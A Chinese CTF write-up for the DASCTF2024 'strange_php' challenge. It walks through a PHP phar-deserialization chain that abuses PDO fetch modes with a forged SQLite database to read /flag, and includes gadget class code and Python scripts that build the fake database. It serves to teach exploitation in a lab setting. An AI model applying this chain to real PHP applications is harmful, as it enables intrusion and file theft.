CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化?
漏洞入口在
welcome.php
case 'delete': // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path']; $msg = $userMessage->deleteMessage($message); // 删除留言 if ($msg) { echo "留言已成功删除"; // 输出成功删除信息 } else { echo "操作失败,请重新尝试"; // 输出失败信息 } break;
此处message_path可控,进一步跟进
UserMessage.php
public function deleteMessage($path) { $path = $path . ".txt"; // 添加文件扩展名 if (file_exists($path)) { $result = unlink($path); if ($result === false) { return false; } return true; } return false;
}
$path可控,同时unlink可触发phar反序列化
step 2 如何创造一个可控文件?
public function writeMessage($message) { $result = file_put_contents($this->filePath, $message); if ($result === false) { return false; } return true;
}
step 3 如何利用反序列化读取flag?
<?php class UserMessage { private $filePath; ........// 魔术方法 __set,用于设置私有属性并记录日志 public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent); } .......
?>
魔术方法__set()在设置未定义或不可访问的属性时自动调用。用于控制对属性的设置。
class MyClass {private $data = [];public function __set($name, $value) {$this->data[$name] = $value;}
}$obj = new MyClass();
$obj->name = 'John';
echo $obj->name; // __get() 被调用,输出: John
step 4 如何触发__set()?
题目使用PDO链接数据库
PDO_connect.php
<?php class PDO_connect { private $pdo; // 用于保存 PDO 实例 public $con_options = []; // 用于设置 PDO 连接的选项 public $smt; // 用于保存 PDOStatement 实例 public function __construct() { // 构造函数,初始化对象时调用 } // 初始化连接选项 public function init() { $this->con_options = array( "dsn" => "mysql:host=localhost:3306;dbname=users;charset=utf8", // 数据源名称 'host' => '127.0.0.1', // 数据库主机地址 'port' => '3306', // 数据库端口 'user' => 'joker', // 数据库用户名 'password' => 'joker', // 数据库密码 'charset' => 'utf8', // 字符集 'options' => array( PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // 设置默认获取模式为关联数组 PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION // 设置错误处理模式为抛出异常 ) ); } // 获取数据库连接 public function get_connection() { $this->conn = null; // 初始化连接为 null try { // 创建 PDO 实例 $this->conn = new PDO($this->con_options['dsn'], $this->con_options['user'], $this->con_options['password']); // 设置错误处理模式 if ($this->con_options['options'][PDO::ATTR_ERRMODE]) { $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]); } // 设置默认获取模式 if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) { $this->conn->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]); } } catch (PDOException $e) { // 捕获异常并输出错误信息 echo 'Connection Error: ' . $e->getMessage(); } return $this->conn; // 返回 PDO 连接实例 }
}
?>
在PHP的PDO(PHP Data Objects)中,
PDO::ATTR_DEFAULT_FETCH_MODE是一个属性,用于设置默认的获取模式(fetch mode)。这决定了当你从数据库中获取数据时,PDO如何返回结果。
PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 是两种不同的获取模式:
-
PDO::FETCH_CLASS:此模式会将每一行结果映射到一个指定的类的实例中。忽略结果集中的字段名称,如果字段名与类中的属性名匹配,则自动赋值。
-
PDO::FETCH_CLASSTYPE:当与
PDO::FETCH_CLASS结合使用时,这个模式允许根据结果集中指定的一列动态决定要实例化的类。这意味着你可以根据数据库中的某个字段的值来决定使用哪个类来创建对象。
通过将 PDO::FETCH_CLASS 和 PDO::FETCH_CLASSTYPE 使用按位或运算符 | 结合,可以实现根据数据库中的某个字段动态实例化不同的类。
PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE:这个组合的获取模式意味着 PDO 会根据结果集第一列的值作为要实例化的类名,并将查询结果的其余列映射到类的属性中。
class Admin {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}class Member {public $id;public $username;public $password;public function __construct($id, $username, $password) {$this->id = $id;$this->username = $username;$this->password = $password;}
}$dsn = 'sqlite:/path/to/your/database/file.db';
$username = 'root';
$password = 'root';
$options = [PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE];$pdo = new PDO($dsn, $username, $password);
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_CLASS | PDO::FETCH_CLASSTYPE);$query = "SELECT class_name, id, username, password FROM users";
$statement = $pdo->query($query);while ($user = $statement->fetch()) {echo get_class($user) . "\n"; // 打印当前行映射的类名echo $user->id . "\n";echo $user->username . "\n";echo $user->password . "\n";
}
在这个例子中,PDO 会根据 class_name 列的值来决定实例化 Admin 或 Member 类。其他列 (id, username, password) 将被传递给相应类的构造函数。
我们可以伪造一个虚假的数据库文件写入.txt并通过反序列化方式伪造PDO所需要的数组,那么在查询时就会返回我们伪造的结果
从这里可以得知目录路径
public function __set($name, $value) { $this->$name = $value; $logContent = file_get_contents($this->filePath) . "</br>"; file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
}
可以写出
class PDO_connect{ private $pdo; public $con_options = []; public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:/var/www/html/xxx.txt', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
step 5 如何触发PDO_connect?
利用User.__destruct
User.php
public function __destruct() { if ($this->username) { $results = $this->log(); $log_mess = serialize($results); // 记录日志到文件 file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . "\n", FILE_APPEND); }
}
->log即可触发查询,当查询键为UserMessage会返回伪造的值
public function log() { try { $sql = "SELECT * FROM users WHERE username = :username"; $pdo = $this->conn->get_connection(); $stmt = $pdo->prepare($sql); $stmt->bindParam(':username', $this->username); $stmt->execute(); $result = $stmt->fetch(); return $result; } catch (PDOException $e) { echo $e->getMessage(); }
}
所以写出
class PDO_connect{ private $pdo; public $con_options = [];public $smt; public function __construct(){ $this->con_options = [ "dsn"=>'sqlite:./fake_db.sqlite', "username"=>"root", "password"=>"root", "options"=>[ PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_CLASS|PDO::FETCH_CLASSTYPE ] ]; }
}
class User{ private $conn; private $table = 'users'; public $id; public $username; public $password; public function __construct(){ $this->conn = new PDO_connect(); $this->username = "UserMessage"; }
}
尝试
import sqlite3 conn = sqlite3.connect('fake_db.sqlite')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users (username TEXT NOT NULL,filePath TEXT NOT NULL,set_name TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', 'filePath_value', 'set_value'),
]
cursor.executemany(''' INSERT INTO users (username, filePath, set_name) VALUES (?,?,?) ''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()

import sqlite3 conn = sqlite3.connect('fake.db')
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS users ( username TEXT NOT NULL,filePath TEXT NOT NULL,password TEXT NOT NULL,id INTEGER PRIMARY KEY AUTOINCREMENT)
''')
users = [ ('UserMessage', '/flag', '/flag'),
]
cursor.executemany('''
INSERT INTO users (username, password,filePath) VALUES (?,?,?)
''', users) conn.commit() cursor.execute('SELECT * FROM users') conn.close()
即可控制变量值触发/flag读取
相关文章:
CTF-web: phar反序列化+数据库伪造 [DASCTF2024最后一战 strange_php]
step 1 如何触发反序列化? 漏洞入口在 welcome.php case delete: // 获取删除留言的路径,优先使用 POST 请求中的路径,否则使用会话中的路径 $message $_POST[message_path] ? $_POST[message_path] : $_SESSION[message_path]; $msg $userMes…...
Win11下帝国时代2无法启动解决方法
鼠标右键点图标,选择属性 点开始,输入启用和关闭...
GSI快速收录服务:让你的网站内容“上架”谷歌
辛苦制作的内容无法被谷歌抓取和展示,导致访客无法找到你的网站,这是会让人丧失信心的事情。GSI快速收录服务就是为了解决这种问题而存在的。无论是新上线的页面,还是长期未被收录的内容,通过我们的技术支持,都能迅速被…...
如何用函数去计算x年x月x日是(C#)
如何用函数去计算x年x月x日是? 由于现在人工智能的普及,我们往往会用计算机去算,或者去记录事情 1.计算某一年某一个月有多少天 2.计算某年某月某日是周几 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threadin…...
mysql_init和mysql_real_connect的形象化认识
解析总结 1. mysql_init 的作用 mysql_init 用于初始化一个 MYSQL 结构体,为后续数据库连接和操作做准备。该结构体存储连接配置及状态信息,是 MySQL C API 的核心句柄。 示例: MYSQL *conn mysql_init(NULL); // 初始化连接句柄2. mysql_…...
python学opencv|读取图像(四十九)原理探究:使用cv2.bitwise()系列函数实现图像按位运算
【0】基础定义 按位与运算:两个等长度二进制数上下对齐,全1取1,其余取0。 按位或运算:两个等长度二进制数上下对齐,有1取1,其余取0。 按位异或运算: 两个等长度二进制数上下对齐,相…...
基础项目实战——学生管理系统(c++)
目录 前言一、功能菜单界面二、类与结构体的实现三、录入学生信息四、删除学生信息五、更改学生信息六、查找学生信息七、统计学生人数八、保存学生信息九、读取学生信息十、打印所有学生信息十一、退出系统十二、文件拆分结语 前言 这一期我们来一起学习我们在大学做过的课程…...
春节期间,景区和酒店如何合理用工?
春节期间,景区和酒店如何合理用工? 春节期间,旅游市场将迎来高峰期。景区与酒店,作为旅游产业链中的两大核心环节,承载着无数游客的欢乐与期待。然而,也隐藏着用工管理的巨大挑战。如何合理安排人力资源&a…...
信息学奥赛一本通 1606:【 例 1】任务安排 1 | 洛谷 P2365 任务安排
【题目链接】 ybt 1606:【 例 1】任务安排 1 洛谷 P2365 任务安排 【题目考点】 1. 动态规划:线性动规 【解题思路】 可以先了解法1,虽然不是正解,但该解法只使用了动规的基本思路,易于理解,有助于理解…...
Linux Samba 低版本漏洞(远程控制)复现与剖析
目录 前言 漏洞介绍 漏洞原理 产生条件 漏洞影响 防御措施 复现过程 结语 前言 在网络安全的复杂生态中,系统漏洞的探索与防范始终是保障数字世界安全稳定运行的关键所在。Linux Samba 作为一款在网络共享服务领域应用极为广泛的软件,其低版本中…...
讯飞智作 AI 配音技术浅析(一)
一、核心技术 讯飞智作 AI 配音技术作为科大讯飞在人工智能领域的重要成果,融合了多项前沿技术,为用户提供了高质量的语音合成服务。其核心技术主要涵盖以下几个方面: 1. 深度学习与神经网络 讯飞智作 AI 配音技术以深度学习为核心驱动力&…...
Autogen_core 测试代码:test_types.py
目录 第一段代码:test_get_types第二段代码:test_handler第三段代码:test_nested_data_model总结 代码段是针对 autogen_core 的库的单元测试,主要关注类型检查和消息处理。让我们逐个解释每个代码段的功能: 第一段代…...
PySide(PyQT)进行SQLite数据库编辑和前端展示的基本操作
以SQLite数据库为例,学习数据库的基本操作,使用QSql模块查询、编辑数据并在前端展示。 SQLite数据库的基础知识: https://blog.csdn.net/xulibo5828/category_12785993.html?fromshareblogcolumn&sharetypeblogcolumn&sharerId1278…...
【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】1.27 线性代数王国:矩阵分解实战指南
1.27 线性代数王国:矩阵分解实战指南 #mermaid-svg-JWrp2JAP9qkdS2A7 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-JWrp2JAP9qkdS2A7 .error-icon{fill:#552222;}#mermaid-svg-JWrp2JAP9qkdS2A7 .erro…...
初二回娘家
昨天下午在相亲相爱一家人群里聊天,今天来娘家拜年。 聊天结束后,开始准备今天的菜肴,梳理了一下,凉菜,热菜,碗菜。 上次做菜,粉丝感觉泡的不透,有的硬,这次使用开水浸泡…...
【Block总结】PKI 模块,无膨胀多尺度卷积,增强特征提取的能力|即插即用
论文信息 标题: Poly Kernel Inception Network for Remote Sensing Detection 作者: Xinhao Cai, Qiuxia Lai, Yuwei Wang, Wenguan Wang, Zeren Sun, Yazhou Yao 论文链接:https://arxiv.org/pdf/2403.06258 代码链接:https://github.com/NUST-Mac…...
日志2025.1.30
日志2025.1.30 1.简略地做了一下交互系统 public class Interactable : MonoBehaviour { private MeshRenderer renderer; private Material defaultMaterial; public Material highlightMaterial; private void Awake() { renderer GetComponentInChildren<Me…...
PHP中的获取器和修改器:探索数据访问的新维度
在PHP开发中,操作数据是开发人员最常见的任务之一。为了使数据的访问和修改更加便捷和安全,PHP提供了获取器和修改器这两个强大的特性。本文将探索获取器和修改器的作用和用法,并且通过具体的代码示例来帮助读者更好地理解和应用这两个特性。…...
Blazor-@bind
数据绑定 带有 value属性的标记都可以使用bind 绑定,<div>、<span>等非输入标记,无法使用bind 指令的,默认绑定了 onchange 事件,onchange 事件是指在输入框中输入内容之后,当失去焦点时执行。 page &qu…...
Github 2025-01-29 C开源项目日报 Top10
根据Github Trendings的统计,今日(2025-01-29统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量C项目10C++项目1Assembly项目1Go项目1我的电视 - 安卓电视直播软件 创建周期:40 天开发语言:CStar数量:649 个Fork数量:124 次关注人数:64…...
01-时间与管理
时间与效率 一丶番茄时钟步骤好处 二丶86400s的财富利用时间的方法每天坚持写下一天计划 自我管理体系计划-行动-评价-回顾 一丶番茄时钟 一个计时器 一份任务清单,任务 步骤 每一个25分钟是一个番茄时钟 将工作时间划分为若干个25分钟的工作单元期间只专注于当前任务,遇到…...
架构技能(六):软件设计(下)
我们知道,软件设计包括软件的整体架构设计和模块的详细设计。 在上一篇文章(见 《架构技能(五):软件设计(上)》)谈了软件的整体架构设计,今天聊一下模块的详细设计。 模…...
C++并发编程指南07
文章目录 [TOC]5.1 内存模型5.1.1 对象和内存位置图5.1 分解一个 struct,展示不同对象的内存位置 5.1.2 对象、内存位置和并发5.1.3 修改顺序示例代码 5.2 原子操作和原子类型5.2.1 标准原子类型标准库中的原子类型特殊的原子类型备选名称内存顺序参数 5.2.2 std::a…...
MySQL 容器已经停止(但仍然存在),但希望重新启动它,并使它的 3306 端口映射到宿主机的 3306 端口是不可行的
重新启动容器并映射端口是不行的 由于你已经有一个名为 mysql-container 的 MySQL 容器,你可以使用 docker start 启动它。想要让3306 端口映射到宿主机是不行的,实际上,端口映射是在容器启动时指定的。你无法在容器已经创建的情况下直接修改…...
AI大模型开发原理篇-6:Seq2Seq编码器-解码器架构
基本概念 Seq2Seq架构的全名是“Sequence-to-Sequence”,简称S2S,意为将一个序列映射到另一个序列。q2Seq编码器-解码器架构,这也是Transformer的基础架构。Seq2Seq架构是一个用于处理输入序列和生成输出序列的神经网络模型,由一…...
春晚舞台上的人形机器人:科技与文化的奇妙融合
文章目录 人形机器人Unitree H1的“硬核”实力传统文化与现代科技的创新融合网友热议与文化共鸣未来展望:科技与文化的更多可能结语 2025 年央视春晚的舞台,无疑是全球华人目光聚焦的焦点。就在这个盛大的舞台上,一场名为《秧BOT》的创意融合…...
【Leetcode刷题记录】166. 分数到小数
166. 分数到小数 给定两个整数,分别表示分数的分子 numerator 和分母 denominator,以 字符串形式返回小数 。 如果小数部分为循环小数,则将循环的部分括在括号内。 如果存在多个答案,只需返回 任意一个 。 对于所有给定的输入&…...
使用 Go 和 gqlgen 实现 GraphQL API:实战指南
使用 Go 和 gqlgen 实现 GraphQL API:实战指南 在本文中,我将分享如何使用 Go 语言和 gqlgen 框架实现一个完整的 GraphQL API。我们将构建一个包含用户、文章和评论功能的博客系统 API。 技术栈 Gogqlgen (GraphQL 框架)MySQL (数据存储)Redis (缓存…...
《程序人生》工作2年感悟
一些杂七杂八的感悟: 1.把事做好比什么都重要, 先树立量良好的形象,再横向发展。 2.职场就是人情世故,但也不要被人情世故绑架。 3.要常怀感恩的心,要记住帮助过你的人,愿意和你分享的人,有能力…...
将pandas.core.series.Series类型的小数转化成百分数
大年初二,大家过年好,蛇年行大运! 今天在编写一个代码的时候,使用 import pandas as pd产生了pandas.core.series.Series类型的数据,里面有小数,样式如下: 目的:将这些小数转化为百…...
